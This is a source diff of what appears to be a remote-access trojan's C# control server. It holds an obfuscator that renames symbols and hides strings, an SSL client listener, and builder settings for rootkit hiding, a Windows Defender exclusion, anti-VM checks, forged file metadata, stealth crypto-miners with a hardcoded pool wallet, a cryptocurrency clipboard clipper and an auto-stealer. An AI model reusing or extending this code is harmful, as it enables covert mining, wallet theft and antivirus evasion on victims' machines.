+						methodDefUser.Body.Instructions.Add(Instruction.Create(OpCodes.Ret));
+						instruction.OpCode = OpCodes.Call;
+						instruction.Operand = methodDefUser;
+					}
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Rename/Renamer.cs

@@ -0,0 +1,152 @@
+using System.Collections.Generic;
+using dnlib.DotNet;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Rename;
+
+internal class Renamer
+{
+	private static readonly Dictionary<TypeDef, bool> TypeRename = new Dictionary<TypeDef, bool>();
+
+	private static readonly List<string> TypeNewName = new List<string>();
+
+	private static readonly Dictionary<MethodDef, bool> MethodRename = new Dictionary<MethodDef, bool>();
+
+	private static readonly List<string> MethodNewName = new List<string>();
+
+	private static readonly Dictionary<FieldDef, bool> FieldRename = new Dictionary<FieldDef, bool>();
+
+	private static readonly List<string> FieldNewName = new List<string>();
+
+	private static int RenameTypes;
+
+	private static int RenameFields;
+
+	private static int RenameMethods;
+
+	private static int RenameNameSpaces;
+
+	public static void Execute(ModuleDefMD module)
+	{
+		RenameTypes = 0;
+		RenameFields = 0;
+		RenameMethods = 0;
+		RenameNameSpaces = 1;
+		string text = Methods.GenerateString();
+		foreach (TypeDef type in module.Types)
+		{
+			if (Methods.GenerateBool(4))
+			{
+				text = Methods.GenerateString();
+				RenameNameSpaces++;
+			}
+			if (TypeRename.TryGetValue(type, out var value))
+			{
+				if (value)
+				{
+					InternalRename(type);
+				}
+			}
+			else
+			{
+				InternalRename(type);
+			}
+			type.Namespace = text;
+			foreach (TypeDef nestedType in type.NestedTypes)
+			{
+				if (TypeRename.TryGetValue(nestedType, out var value2))
+				{
+					if (value2)
+					{
+						InternalRename(nestedType);
+					}
+				}
+				else
+				{
+					InternalRename(nestedType);
+				}
+				foreach (MethodDef method in nestedType.Methods)
+				{
+					foreach (ParamDef paramDef in method.ParamDefs)
+					{
+						paramDef.Name = Methods.GenerateString(16);
+					}
+				}
+			}
+			foreach (MethodDef method2 in type.Methods)
+			{
+				if (MethodRename.TryGetValue(method2, out var value3))
+				{
+					if (value3 && !method2.IsConstructor && !method2.IsSpecialName)
+					{
+						InternalRename(method2);
+					}
+				}
+				else if (!method2.IsConstructor && !method2.IsSpecialName)
+				{
+					InternalRename(method2);
+				}
+			}
+			MethodNewName.Clear();
+			foreach (FieldDef field in type.Fields)
+			{
+				if (FieldRename.TryGetValue(field, out var value4))
+				{
+					if (value4)
+					{
+						InternalRename(field);
+					}
+				}
+				else
+				{
+					InternalRename(field);
+				}
+			}
+			FieldNewName.Clear();
+		}
+		TypeRename.Clear();
+		MethodRename.Clear();
+		FieldRename.Clear();
+	}
+
+	public static string Info()
+	{
+		return $"Rename Obfuscator [Types: [{RenameTypes}]  Namespaces: [{RenameNameSpaces}]  Methods: [{RenameMethods}]  Fields: [{RenameFields}]]";
+	}
+
+	private static void InternalRename(TypeDef type)
+	{
+		string text = Methods.GenerateString();
+		while (TypeNewName.Contains(text))
+		{
+			text = Methods.GenerateString();
+		}
+		TypeNewName.Add(text);
+		type.Name = text;
+		RenameTypes++;
+	}
+
+	private static void InternalRename(MethodDef method)
+	{
+		string text = Methods.GenerateString();
+		while (MethodNewName.Contains(text))
+		{
+			text = Methods.GenerateString();
+		}
+		MethodNewName.Add(text);
+		method.Name = text;
+		RenameMethods++;
+	}
+
+	private static void InternalRename(FieldDef field)
+	{
+		string text = Methods.GenerateString();
+		while (FieldNewName.Contains(text))
+		{
+			text = Methods.GenerateString();
+		}
+		FieldNewName.Add(text);
+		field.Name = text;
+		RenameFields++;
+	}
+}

Obfuscator.Obfuscator.Strings.Runtime/DecryptionHelper.cs

@@ -0,0 +1,12 @@
+using System;
+using System.Text;
+
+namespace Obfuscator.Obfuscator.Strings.Runtime;
+
+internal static class DecryptionHelper
+{
+	public static string Decrypt_Base64(string dataEnc)
+	{
+		return Encoding.UTF8.GetString(Convert.FromBase64String(dataEnc));
+	}
+}

Obfuscator.Obfuscator.Strings/StringEcnryption.cs

@@ -0,0 +1,69 @@
+using System;
+using System.Linq;
+using System.Text;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+using Obfuscator.Obfuscator.Strings.Runtime;
+
+namespace Obfuscator.Obfuscator.Strings;
+
+internal class StringEcnryption
+{
+	private static MethodDef InjectMethod(ModuleDef module, string methodName)
+	{
+		MethodDef result = (MethodDef)InjectHelper.Inject(ModuleDefMD.Load(typeof(DecryptionHelper).Module).ResolveTypeDef(MDToken.ToRID(typeof(DecryptionHelper).MetadataToken)), module.GlobalType, module).Single((IDnlibDef method) => method.Name == methodName);
+		foreach (MethodDef method in module.GlobalType.Methods)
+		{
+			if (method.Name == ".ctor")
+			{
+				module.GlobalType.Remove(method);
+				break;
+			}
+		}
+		return result;
+	}
+
+	private static string Encrypt(string dataPlain)
+	{
+		try
+		{
+			return Convert.ToBase64String(Encoding.UTF8.GetBytes(dataPlain));
+		}
+		catch (Exception)
+		{
+			return null;
+		}
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		MethodDef methodDef = InjectMethod(module, "Decrypt_Base64");
+		foreach (TypeDef type in module.Types)
+		{
+			if (type.IsGlobalModuleType || type.Name == "Resources" || type.Name == "Settings")
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody || method == methodDef)
+				{
+					continue;
+				}
+				method.Body.KeepOldMaxStack = true;
+				for (int i = 0; i < method.Body.Instructions.Count; i++)
+				{
+					if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
+					{
+						string dataPlain = method.Body.Instructions[i].Operand.ToString();
+						method.Body.Instructions[i].Operand = Encrypt(dataPlain);
+						method.Body.Instructions.Insert(i + 1, new Instruction(OpCodes.Call, methodDef));
+					}
+				}
+				method.Body.SimplifyBranches();
+				method.Body.OptimizeBranches();
+			}
+		}
+	}
+}

Properties/AssemblyInfo.cs

@@ -0,0 +1,19 @@
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Runtime.Versioning;
+using System.Security;
+using System.Security.Permissions;
+
+[assembly: AssemblyTitle("Server")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Server")]
+[assembly: AssemblyCopyright("Copyright ©  2024")]
+[assembly: AssemblyTrademark("")]
+[assembly: ComVisible(false)]
+[assembly: Guid("1d3b8c1e-583e-497c-b84e-24db098b99da")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyVersion("1.0.0.0")]

Server.Connectings.Events/EventConnect.cs

@@ -0,0 +1,8 @@
+using System;
+
+namespace Server.Connectings.Events;
+
+internal class EventConnect : EventArgs
+{
+	public Clients clients;
+}

Server.Connectings.Events/EventDisconnect.cs

@@ -0,0 +1,8 @@
+using System;
+
+namespace Server.Connectings.Events;
+
+public class EventDisconnect : EventArgs
+{
+	public Clients clients;
+}

Server.Connectings/Certificate.cs

@@ -0,0 +1,59 @@
+using System;
+using System.IO;
+using System.Security.Cryptography.X509Certificates;
+using Org.BouncyCastle.Asn1.X509;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Generators;
+using Org.BouncyCastle.Crypto.Operators;
+using Org.BouncyCastle.Crypto.Parameters;
+using Org.BouncyCastle.Crypto.Prng;
+using Org.BouncyCastle.Math;
+using Org.BouncyCastle.Security;
+using Org.BouncyCastle.X509;
+using Org.BouncyCastle.X509.Extension;
+
+namespace Server.Connectings;
+
+internal class Certificate
+{
+	public const string certificate_name = "ServerCertificate.p12";
+
+	public static X509Certificate2 certificate { get; private set; }
+
+	public static bool Imported { get; private set; }
+
+	public static void Import()
+	{
+		if (File.Exists("ServerCertificate.p12"))
+		{
+			certificate = new X509Certificate2("ServerCertificate.p12");
+			Imported = true;
+		}
+	}
+
+	public static X509Certificate2 CreateCertificateAuthority(string caName)
+	{
+		int strength = 4090;
+		SecureRandom random = new SecureRandom(new CryptoApiRandomGenerator());
+		RsaKeyPairGenerator rsaKeyPairGenerator = new RsaKeyPairGenerator();
+		rsaKeyPairGenerator.Init(new KeyGenerationParameters(random, strength));
+		AsymmetricCipherKeyPair asymmetricCipherKeyPair = rsaKeyPairGenerator.GenerateKeyPair();
+		X509V3CertificateGenerator x509V3CertificateGenerator = new X509V3CertificateGenerator();
+		X509Name x509Name = new X509Name("CN=" + caName);
+		BigInteger serialNumber = BigInteger.ProbablePrime(120, random);
+		x509V3CertificateGenerator.SetSerialNumber(serialNumber);
+		x509V3CertificateGenerator.SetSubjectDN(x509Name);
+		x509V3CertificateGenerator.SetIssuerDN(x509Name);
+		x509V3CertificateGenerator.SetNotAfter(DateTime.MaxValue);
+		x509V3CertificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(2, 0, 0, 0)));
+		x509V3CertificateGenerator.SetPublicKey(asymmetricCipherKeyPair.Public);
+		x509V3CertificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, critical: false, new SubjectKeyIdentifierStructure(asymmetricCipherKeyPair.Public));
+		x509V3CertificateGenerator.AddExtension(X509Extensions.BasicConstraints, critical: true, new BasicConstraints(cA: true));
+		ISignatureFactory signatureCalculatorFactory = new Asn1SignatureFactory("SHA512WITHRSA", asymmetricCipherKeyPair.Private, random);
+		X509Certificate2 x509Certificate = new X509Certificate2(DotNetUtilities.ToX509Certificate(x509V3CertificateGenerator.Generate(signatureCalculatorFactory)));
+		x509Certificate.PrivateKey = DotNetUtilities.ToRSA(asymmetricCipherKeyPair.Private as RsaPrivateCrtKeyParameters);
+		File.WriteAllBytes("ServerCertificate.p12", x509Certificate.Export(X509ContentType.Pfx));
+		Imported = true;
+		return x509Certificate;
+	}
+}

Server.Connectings/Clients.cs

@@ -0,0 +1,314 @@
+// --- ÍÀ×ÀËÎ ÔÀÉËÀ Clients.cs ---
+
+using System;
+using System.Drawing;
+using System.IO;
+using System.Net.Security;
+using System.Net.Sockets;
+using System.Security.Authentication;
+using System.Windows.Forms;
+using Leb128;
+using Server.Connectings.Events;
+using Server.Data;
+using Server.Helper;
+using Server.Messages;
+
+namespace Server.Connectings;
+
+public class Clients
+{
+    public delegate void Delegate1();
+
+    public delegate void Delegate(long bytes);
+
+    public Delegate Sents;
+
+    public Delegate Recevied;
+
+    private byte[] ClientBuffer { get; set; }
+
+    private int HeaderSize { get; set; }
+
+    private int Offset { get; set; }
+
+    private bool ClientBufferRecevied { get; set; }
+
+    private object SendSync { get; set; }
+
+    private SslStream SslClient { get; set; }
+
+    public LastPing lastPing { get; set; }
+
+    public Socket Tcp { get; private set; }
+
+    public string IP { get; private set; }
+
+    public bool itsConnect { get; private set; }
+
+    public bool Auth { get; private set; }
+
+    public string Hwid { get; set; }
+
+    public string UserMachine { get; set; }
+
+    public object Tag { get; set; }
+
+    public Clients ReportWindow { get; set; }
+
+    public bool HasCompletedHandshake { get; set; }
+
+    public event EventHandler<EventDisconnect> eventDisconnect;
+
+    public Clients(Socket Tcp)
+    {
+        itsConnect = true;
+        this.Tcp = Tcp;
+        SslClient = new SslStream(new NetworkStream(Tcp, ownsSocket: true), leaveInnerStreamOpen: false);
+        SslClient.BeginAuthenticateAsServer(Certificate.certificate, clientCertificateRequired: false, SslProtocols.Tls, checkCertificateRevocation: false, EndAuthenticate, null);
+        IP = this.Tcp.RemoteEndPoint.ToString().Split(':')[0];
+        SendSync = new object();
+        lastPing = new LastPing(this);
+        this.HasCompletedHandshake = false;
+
+        ConsoleLogger.LogClient($"New client connection from {IP} - Starting SSL authentication");
+    }
+
+    private void EndAuthenticate(IAsyncResult ar)
+    {
+        try
+        {
+            SslClient.EndAuthenticateAsServer(ar);
+            Offset = 0;
+            HeaderSize = 4;
+            ClientBuffer = new byte[HeaderSize];
+            Auth = true;
+            SocketData.ConnectsPluse();
+            SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
+            ConsoleLogger.LogSuccess($"SSL authentication completed for client {IP}");
+        }
+        catch (Exception ex)
+        {
+            ConsoleLogger.LogError($"SSL authentication failed for client {IP}: {ex.Message}");
+            Disconnect();
+        }
+    }
+
+    public void Disconnect()
+    {
+        if (!itsConnect)
+        {
+            return;
+        }
+        if (Auth)
+        {
+            SocketData.ConnectsMinuse();
+        }
+        if (this.eventDisconnect != null)
+        {
+            this.eventDisconnect(this, new EventDisconnect
+            {
+                clients = this
+            });
+        }
+        itsConnect = false;
+        ClientBuffer = null;
+        HeaderSize = 0;
+        Offset = 0;
+        Tcp?.Dispose();
+        SslClient?.Dispose();
+        lastPing?.Disconnect();
+        if (Tag != null && Tag is DataGridViewRow)
+        {
+            DataGridViewRow row = (DataGridViewRow)Tag;
+            DataGridView datagrid = row.DataGridView;
+            if (row.Cells.Count > 12)
+            {
+                Methods.AppendLogs("Client " + IP + " " + UserMachine + " " + Hwid, "Disconnect", Color.Red);
+                ConsoleLogger.LogClient($"Client disconnected: {IP} ({UserMachine}) HWID: {Hwid}");
+            }
+            else
+            {
+                ConsoleLogger.LogClient($"Client disconnected: {IP}");
+            }
+            if (datagrid != null)
+            {
+                datagrid.Invoke((MethodInvoker)delegate
+                {
+                    datagrid.Rows.Remove(row);
+                });
+            }
+            row.Dispose();
+        }
+        else
+        {
+            ConsoleLogger.LogClient($"Client disconnected: {IP}");
+        }
+        if (ReportWindow != null)
+        {
+            ReportWindow.Disconnect();
+        }
+    }
+
+    private void ReadData(IAsyncResult ar)
+    {
+        if (!itsConnect)
+        {
+            return;
+        }
+        try
+        {
+            int num = SslClient.EndRead(ar);
+            if (num > 0)
+            {
+                if (Recevied != null)
+                {
+                    Recevied(num);
+                }
+                SocketData.ReciveData(num);
+                HeaderSize -= num;
+                Offset += num;
+                if (lastPing != null)
+                {
+                    lastPing.Last();
+                }
+                if (!ClientBufferRecevied)
+                {
+                    if (HeaderSize == 0)
+                    {
+                        HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
+                        if (HeaderSize > 0)
+                        {
+                            ClientBuffer = new byte[HeaderSize];
+                            Offset = 0;
+                            ClientBufferRecevied = true;
+                        }
+                    }
+                    else if (HeaderSize < 0)
+                    {
+                        ConsoleLogger.LogError($"Invalid header size received from {IP}: {HeaderSize}");
+                        Disconnect();
+                        return;
+                    }
+                }
+                else if (HeaderSize == 0)
+                {
+                    new Packet().Read(this, ClientBuffer);
+                    Offset = 0;
+                    HeaderSize = 4;
+                    ClientBuffer = new byte[HeaderSize];
+                    ClientBufferRecevied = false;
+                }
+                else if (HeaderSize < 0)
+                {
+                    ConsoleLogger.LogError($"Invalid data size received from {IP}: {HeaderSize}");
+                    Disconnect();
+                    return;
+                }
+                SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
+            }
+            else
+            {
+                ConsoleLogger.LogWarning($"Client {IP} closed connection");
+                Disconnect();
+            }
+        }
+        catch (Exception ex) // ÂÎÒ ÈÇÌÅÍÅÍÍÛÉ ÁËÎÊ
+        {
+            ConsoleLogger.LogError($"Error with client {IP} ({ex.GetType().Name}). Connection was likely closed unexpectedly.");
+            Disconnect();
+        }
+    }
+
+    public void Send(object[] Data)
+    {
+        Send(LEB128.Write(Data));
+    }
+
+    public void Send(byte[] Data)
+    {
+        if (!itsConnect)
+        {
+            return;
+        }
+        lock (SendSync)
+        {
+            try
+            {
+                byte[] bytes = BitConverter.GetBytes(Data.Length);
+                byte[] array = new byte[4 + Data.Length];
+                Array.Copy(bytes, 0, array, 0, bytes.Length);
+                Array.Copy(Data, 0, array, 4, Data.Length);
+                Tcp.Poll(-1, SelectMode.SelectWrite);
+                SslClient.Write(array, 0, array.Length);
+                SslClient.Flush();
+                if (Sents != null)
+                {
+                    Sents(array.Length);
+                }
+                SocketData.SentData(array.Length);
+
+                if (array.Length > 1024)
+                {
+                    ConsoleLogger.LogNetwork($"Sent {array.Length} bytes to {IP}");
+                }
+            }
+            catch (Exception ex)
+            {
+                ConsoleLogger.LogError($"Error sending data to {IP}: {ex.Message}");
+                Disconnect();
+            }
+        }
+    }
+
+    public void SendChunk(object[] Data)
+    {
+        Send(LEB128.Write(Data));
+    }
+
+    public void SendChunk(byte[] Data)
+    {
+        if (!itsConnect)
+        {
+            return;
+        }
+        lock (SendSync)
+        {
+            try
+            {
+                if (Data.Length < 16384)
+                {
+                    Send(Data);
+                    return;
+                }
+                byte[] bytes = BitConverter.GetBytes(Data.Length);
+                byte[] array = new byte[4 + Data.Length];
+                Array.Copy(bytes, 0, array, 0, bytes.Length);
+                Array.Copy(Data, 0, array, 4, Data.Length);
+                using MemoryStream memoryStream = new MemoryStream(array);
+                memoryStream.Position = 0L;
+                byte[] array2 = new byte[16384];
+                int num;
+                int totalSent = 0;
+                while ((num = memoryStream.Read(array2, 0, array2.Length)) > 0)
+                {
+                    Tcp.Poll(-1, SelectMode.SelectWrite);
+                    SslClient.Write(array2, 0, num);
+                    SslClient.Flush();
+                    if (Sents != null)
+                    {
+                        Sents(num);
+                    }
+                    totalSent += num;
+                }
+                ConsoleLogger.LogNetwork($"Sent chunked data {totalSent} bytes to {IP}");
+            }
+            catch (Exception ex)
+            {
+                ConsoleLogger.LogError($"Error sending chunked data to {IP}: {ex.Message}");
+                Disconnect();
+            }
+        }
+    }
+}
+
+// --- ÊÎÍÅÖ ÔÀÉËÀ Clients.cs ---

Server.Connectings/LastPing.cs

@@ -0,0 +1,43 @@
+using System;
+using System.Threading;
+
+namespace Server.Connectings;
+
+public class LastPing
+{
+	private Timer timer;
+
+	public Clients client;
+
+	private DateTime lastPing;
+
+	public LastPing(Clients client)
+	{
+		this.client = client;
+		lastPing = DateTime.Now;
+		timer = new Timer(Check, null, 1, 2000);
+	}
+
+	private double DiffSeconds(DateTime startTime, DateTime endTime)
+	{
+		return Math.Abs(new TimeSpan(endTime.Ticks - startTime.Ticks).TotalSeconds);
+	}
+
+	private void Check(object obj)
+	{
+		if (DiffSeconds(lastPing, DateTime.Now) > (double)Program.form.settings.second)
+		{
+			client.Disconnect();
+		}
+	}
+
+	public void Disconnect()
+	{
+		timer?.Dispose();
+	}
+
+	public void Last()
+	{
+		lastPing = DateTime.Now;
+	}
+}

Server.Connectings/Listner.cs

@@ -0,0 +1,58 @@
+using System;
+using System.Drawing;
+using System.Net;
+using System.Net.Sockets;
+using Server.Helper;
+
+namespace Server.Connectings;
+
+public class Listner
+{
+	private Socket Server { get; set; }
+
+	public int port { get; set; }
+
+	public void Stop()
+	{
+		Server?.Dispose();
+		Methods.AppendLogs("Server", "Stop Listner: " + port, Color.Red);
+		ConsoleLogger.LogWarning($"Stopped listener on port {port}");
+	}
+
+	public Listner(int port)
+	{
+		this.port = port;
+		IPEndPoint localEP = new IPEndPoint(IPAddress.Any, port);
+		Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+		Server.ReceiveBufferSize = 512000;
+		Server.SendBufferSize = 512000;
+		Server.Bind(localEP);
+		Server.Listen(2500);
+		Server.BeginAccept(EndAccept, null);
+		Methods.AppendLogs("Server", "Start Listner: " + port, Color.Green);
+		ConsoleLogger.LogSuccess($"Started listener on port {port} - Ready to accept connections");
+	}
+
+	private void EndAccept(IAsyncResult ar)
+	{
+		try
+		{
+			Socket clientSocket = Server.EndAccept(ar);
+			ConsoleLogger.LogNetwork($"New connection attempt from {clientSocket.RemoteEndPoint}");
+			new Clients(clientSocket);
+		}
+		catch (Exception ex)
+		{
+			ConsoleLogger.LogError($"Error accepting connection on port {port}: {ex.Message}");
+		}
+		try
+		{
+			Server.BeginAccept(EndAccept, null);
+		}
+		catch (Exception ex)
+		{
+			ConsoleLogger.LogError($"Error restarting accept on port {port}: {ex.Message}");
+		}
+	}
+}
+

Server.Data/BulidData.cs

@@ -0,0 +1,82 @@
+namespace Server.Data;
+
+public class BulidData
+{
+	public bool ctrflow;
+
+	public bool Rename;
+
+	public bool Junk;
+
+	public bool ProxyStr;
+
+	public bool ProxyCall;
+
+	public bool ProxyInt;
+
+	public bool ManyProxy;
+
+	public bool Mixcer;
+
+	public bool ProtectInt;
+
+	public string[] Hosts;
+
+	public string Group;
+
+	public string Mutex;
+
+	public bool Install;
+
+	public bool InstallWatchDog;
+
+	public bool UseInstallAdmin;
+
+	public bool ExclusionWD;
+
+	public bool HiddenFile;
+
+	public bool RootKit;
+
+	public bool Pump;
+
+	public bool UserInit;
+
+	public string TaskClient;
+
+	public string TaskWatchDog;
+
+	public string PathClientCmb;
+
+	public string PathClientBox;
+
+	public string PathWatchDogCmb;
+
+	public string PathWatchDogBox;
+
+	public bool CheckIcon;
+
+	public bool CheckAssembly;
+
+	public bool DigitalSignature;
+
+	public bool AntiVirtual;
+
+	public byte[] Icon;
+
+	public string Product;
+
+	public string Description;
+
+	public string Company;
+
+	public string Copyright;
+
+	public string Trademarks;
+
+	public string OriginalFilename;
+
+	public string ProductVersion;
+
+	public string FileVersion;
+}

Server.Data/Clipper.cs

@@ -0,0 +1,26 @@
+namespace Server.Data;
+
+internal class Clipper
+{
+	public string Btc;
+
+	public string Eth;
+
+	public string Stellar;
+
+	public string Litecoin;
+
+	public string BitcoinCash;
+
+	public string monero;
+
+	public string zcash;
+
+	public string doge;
+
+	public string dash;
+
+	public string tron;
+
+	public bool AutoStart;
+}

Server.Data/MinerEtc.cs

@@ -0,0 +1,14 @@
+namespace Server.Data;
+
+internal class MinerEtc
+{
+	public bool AutoStart;
+
+	public bool AntiProcess;
+
+	public bool Stealth;
+
+	public string Args = "--cinit-find-e --pool=stratum://`0x525c4502B060eAc8ac9dcf412E3dC2d9dF74aEA0`[email protected]:1010 --cinit-max-gpu=70 --response-timeout=300 --farm-retries=30 --cinit-etc";
+
+	public string ArgsStealh = "--cinit-find-e --pool=stratum://`0x525c4502B060eAc8ac9dcf412E3dC2d9dF74aEA0`[email protected]:1010 --cinit-max-gpu=100 --response-timeout=300 --farm-retries=30 --cinit-etc";
+}

Server.Data/MinerXMR.cs

@@ -0,0 +1,16 @@
+namespace Server.Data;
+
+internal class MinerXMR
+{
+	public bool AutoStart;
+
+	public bool AntiProcess;
+
+	public bool Stealth;
+
+	public bool Gpu;
+
+	public string Args = "--asm=auto --randomx-mode=auto --randomx-no-rdmsr --cpu-memory-pool=1 --cpu-max-threads-hint=100 --cuda-bfactor-hint=10 --cuda-bsleep-hint=100 --url=127.0.0.1:3335";
+
+	public string ArgsStealh = "--asm=auto --randomx-mode=auto --randomx-no-rdmsr --cpu-memory-pool=1 --cpu-max-threads-hint=100 --cuda-bfactor-hint=10 --cuda-bsleep-hint=100 --cpu-priority=5 --cpu-no-yield --url=127.0.0.1:3335";
+}

Server.Data/ReverseProxyR.cs

@@ -0,0 +1,8 @@
+namespace Server.Data;
+
+internal class ReverseProxyR
+{
+	public bool AutoStart;
+
+	public string Port;
+}

Server.Data/ReverseProxyU.cs

@@ -0,0 +1,6 @@
+namespace Server.Data;
+
+internal class ReverseProxyU
+{
+	public bool AutoStart;
+}

Server.Data/Settings.cs

@@ -0,0 +1,25 @@
+namespace Server.Data;
+
+public class Settings
+{
+	public string[] Ports;
+
+	public bool Start;
+
+	public int second = 35;
+
+	public string WebHook;
+
+	public bool WebHookNewConnect;
+
+	public bool WebHookConnect;
+
+	public bool AutoStealer;
+
+	public int Style;
+
+	public int Theme = 0; // 0 = Light, 1 = Dark
+
+	public string linkMiner = "http://%IP%/ack";
+}
+

Server.Data/SocketData.cs

@@ -0,0 +1,99 @@
+using System.Threading.Tasks;
+
+namespace Server.Data;
+
+internal class SocketData
+{
+	private static object syncSent = new object();
+
+	private static object syncSents = new object();
+
+	private static object syncRecives = new object();
+
+	private static object syncRecive = new object();
+
+	private static object syncConnects = new object();
+
+	public static long Connects { get; private set; }
+
+	public static long Sents { get; private set; }
+
+	public static long Recives { get; private set; }
+
+	public static long Sent { get; private set; }
+
+	public static long Recive { get; private set; }
+
+	public static void ConnectsPluse()
+	{
+		Task.Run(delegate
+		{
+			lock (syncConnects)
+			{
+				Connects++;
+			}
+		});
+	}
+
+	public static void ConnectsMinuse()
+	{
+		Task.Run(delegate
+		{
+			lock (syncConnects)
+			{
+				Connects--;
+			}
+		});
+	}
+
+	public static void SentData(long count)
+	{
+		Task.Run(delegate
+		{
+			lock (syncSents)
+			{
+				Sents += count;
+			}
+		});
+		Task.Run(delegate
+		{
+			lock (syncSent)
+			{
+				Sent += count;
+			}
+		});
+	}
+
+	public static void ReciveData(long count)
+	{
+		Task.Run(delegate
+		{
+			lock (syncRecives)
+			{
+				Recives += count;
+			}
+		});
+		Task.Run(delegate
+		{
+			lock (syncRecive)
+			{
+				Recive += count;
+			}
+		});
+	}
+
+	public static void Clear()
+	{
+		Task.Run(delegate
+		{
+			lock (syncSent)
+			{
+				Sent = 0L;
+			}
+			lock (syncRecive)
+			{
+				Recive = 0L;
+			}
+		});
+	}
+}

Server.Forms.FormAutoRun.resx

@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="killRemoveToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAhwkAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAPAAAADwIBgAAADr82XIAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAJKUlEQVRoQ+2aC3BU1RnHv4TwaAAhKlbKY5pQRMjLJDzzzm42DxIeCSQhIcQ6AUGBEAPI
+MyQkcTpIVbCgLX1BRwqiCFOIEkM2QG0rtEREbcVBVJRUOnZAAkoicPr9797g3nvPkt1kN9CZfDO/
+2Z273/m+/3fPueeee89Sl3VZl3VZl+ksrp76W6w0zlxHBYn1tCDRSssU8L2eZuE3+Kju/3+WtYu6
+mQ5RKhez2Wylf/KncAb4mutpE5+MZMRQw925lnKEBrDgKuacrCBXUGJYqZJ7/l41/J1jLKoPi1zH
+Ii/rhdvz8EcjRPaJgdLfHKHEtNLPLDXUW013e43FpPFQPCsTq2fOJ6Gi6sYs5TOx3svwext8llhH
+E9W0nW/cqz589su52OsScVJ++m6oeEoUKJR8ZRIpb/WU+jnESjf4cyNf3z1UGZ1jGF5cbI1BkAMs
+zKS3+4rHTkffLBiUfpspMv9xr7TNLbGSNfIt6qvK8azh9sEJj0mF6EAxCxojxZrmLE2h9lRen6lc
+27L2bXA0sZb6qbI8Y1xsL+7Zw5LkGma8N0Q8eTFFWqAjis7HiuQjPtJ4joAWaFLlud+4Z3fIEreS
++pdeovg/cdKC2uLJi6nKsJfFbYOXVHnuNZOV5kqS3QS3m/KWbGkxoOK7mWL1JePQxvGsA4Fi7GYv
+YT4oj+0Es1WZ7jFzLQVw734jSaSQc3Kwci3qi6m6USAe+1eCSPrDIBG61kfkWr+fpUHJ5xNF5MZ+
+Img1ifD1JBJel8dvCx7aV5Lr6ceq3I4bF7tPlgjgeq26nq8pBCz6JFlEb/JTigHBa0jkHbYVXHkt
+X+TUBvMxLxFcRmLCVo5lNcZ2CSvtUeV2zCx1ZJImYHDNrb2Wqym06vqsm8Wg0IiNJGJe5V6o45VW
+Q6hY3Jguon5hOxFh3Kvx1fLY7cJKcars9hsPl4Oy4JbD3mL5pTRDsemvBNiG6DNczD5dm939REiZ
+t9LbE37PxzraqzqwNlBlt8+S6ihUFhjMPhOiKRZM3TtcBJc6Lmb8b7lX1xlPhDsxHaQQVb7rxqKf
+lQXF/bK8JUdT7KPvxijFRu0w+rcSv597oR29WvSldoVWcS1PpDpYlnL89ap8F02QF193X8qCFn4c
+qBFQ2pQtwqp6iKjtRl93gOL0tzyMMJkva26EdrUK5y3xEAXLAoLSb6dpkme/GSzGbJL7ugPEzqoJ
